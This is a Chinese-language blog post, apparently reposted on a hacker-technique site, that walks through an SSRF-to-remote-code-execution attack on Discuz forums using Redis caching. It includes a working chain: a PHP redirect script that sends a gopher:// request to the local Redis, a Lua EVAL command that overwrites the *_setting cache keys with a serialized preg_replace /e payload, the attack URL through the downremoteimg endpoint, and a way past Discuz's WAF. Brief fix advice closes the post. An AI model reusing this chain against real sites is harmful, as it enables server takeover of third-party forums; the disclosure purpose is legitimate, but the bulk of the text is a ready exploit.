记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Discuz ssrf rce(redis情况下)

2016-06-27 04:30

漏洞概述

discus支持多种缓存方式(redis,memcache),而一般情况下,大多数都会将redis或memcache安装在本地,而且默认安装的redis是可以直接访问的,不需要账号密码,这里就有一个潜在的问题,如果discuz的安全性得不到保证,存在ssrf,那么有几率导致ssrf操作redis从而修改缓存注入我们自己的代码。

漏洞详情

如果discuz启用后台的缓存,具体在“全局”—>”内存优化”中,默认这里是不启用的,要修改和启用缓存,我们需要修改discuz中config/config_golbal.php文件,修改里面关于redis的设置。当启用了redis后,discuz会将缓存存放在$_G中。
redis设置

接下来我们来分析具体代码
source\class\discuz\discuz_application.php

private function _init_setting() {
		if($this->init_setting) {
			if(empty($this->var['setting'])) {
				$this->cachelist[] = 'setting';
			}

			if(empty($this->var['style'])) {
				$this->cachelist[] = 'style_default';
			}
			if(!isset($this->var['cache']['cronnextrun'])) {
				$this->cachelist[] = 'cronnextrun';
			}
		}
		!empty($this->cachelist) && loadcache($this->cachelist);
		if(!is_array($this->var['setting'])) {
			$this->var['setting'] = array();
		}
	}

调用缓存的地方
source\function\function_core.php

function output_replace($content) {
	global $_G;
	if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;
	if(!empty($_G['setting']['output']['str']['search'])) {
		if(empty($_G['setting’]
['domain']['app']['default'])) {
			$_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);
		}
		$content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);
	}
	if(!empty($_G['setting']['output']['preg']['search']) ; (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {
		if(empty($_G['setting']['domain']['app']['default'])) {
			$_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);
			$_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);
		}
		$content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);
	}
	return $content;
}

根据代码 我门可以看到,调用缓存的时候

$_G['setting']['output']['preg']['search'],
$_G['setting']['output']['preg']['replace']

可以控制,所以,我们修改掉这2个地方的缓存就可以达到一个getshell的效果。但是有个前提就是,我们需要一个ssrf。最后,笔者在这里选择了以下这个ssrf点

forum.php?mod=ajax&action=downremoteimg&
message=[img=1,1]http:// 你的ip/ssrf.php?.jpg[/img]&formhash=818c8f44

在这里,我们编写自己的脚本使用header(“location”)的方式去修改redis,为什么呢? 因为直接在这个ssrf点输入构造好点语句,会被discuz的waf给拦截,这就会导致我们失败。所以不能直接使用在这个ssrf点中带具体的代码,网上有资料就是卡在这。我们需要写一个脚本使用location跳转来完成对redis的请求。

refused

在这里,需要说明一下的是,curl在7.35.0(笔者测试的版本)以下是不支持gopher协议的,网上的资料可能并没遇到这样的情况所以这个地方是最容易出错的地方。
ED56C1D2-CD36-4206-BAAE-4B2793921DCA

接下来先序列化一个对象

$a['output']['preg']['search']['plugins'] = "/.*/e";
$a['output']['preg']['replace']['plugins'] = 'phpinfo();';
$a['rewritestatus']=1;
$setting = serialize($a);

但是这里有个问题,我们修改缓存值必须知道缓存前缀,那么redis在2.6以上开始支持lua语法后,我们可以通过eval命令和通配符来模糊查找下setting结尾的key,我们可以构造一个以下的语句去修改_setting结尾的key的内容

eval “local t=redis.call(‘keys’,’*_setting’);for i,v in ipairs(t) do redis.call(‘set’,v,’aaaa’) end;return 1;” 0

然后我们编写脚本如下

<?php

// $a['output']['preg']['search']['plugins'] = "/.*/e";
// $a['output']['preg']['replace']['plugins'] = 'phpinfo();';
// $a['rewritestatus']=1;
// $setting = serialize($a);
header('Location: gopher://127.0.0.1:6379/_%0d%0aeval "local t=redis.call(\'keys\',\'*_setting\');
for i,v in ipairs(t) do redis.call(\'set\',v,\'a:2:{s:6:\"output\";a:1:{s:4:\"preg\";a:2:{s:6:\"
search\";a:1:{s:7:\"plugins\";s:5:\"/.*/e\";}s:7:\"replace\";a:1:{s:7:\"plugins\";s:10:\"phpinfo()
;\";}}}s:13:\"rewritestatus\";i:1;}\') end;return 1;" 0 ');
?>

并将代码保存到你的服务器上。
最后我们需要访问的地址是
http://192.168.80.116/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://你自己的服务器/ssrf.php?.jpg[/img]&formhash=818c8f44

注意在3.x的discuz里,这里的formhash需要带上,不然会导致非法请求,而且formhash有生命周期。然后访问。为了验证是否成功,我们在服务端我们使用get命令获取下pw_setting中的内容,我默认设置缓存前缀为pw_。

succuss

成功修改掉了redis的缓存。

然后访问http://xxx/forum.php?mod=ajax&inajax=yes&action=getthreadtypes
final

漏洞修复

1、升级到最新的discuz版本。
2、对redis设置账号密码访问。

相关阅读

http://www.wooyun.org/bugs/wooyun-2010-0213982
http://seclab.dbappsecurity.com.cn/?p=544

知识来源: seclab.dbappsecurity.com.cn/?p=1170

阅读:213881 | 评论:0 | 标签:未分类 discuz

想收藏或者和大家分享这篇好文章→复制链接地址

“Discuz ssrf rce(redis情况下)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云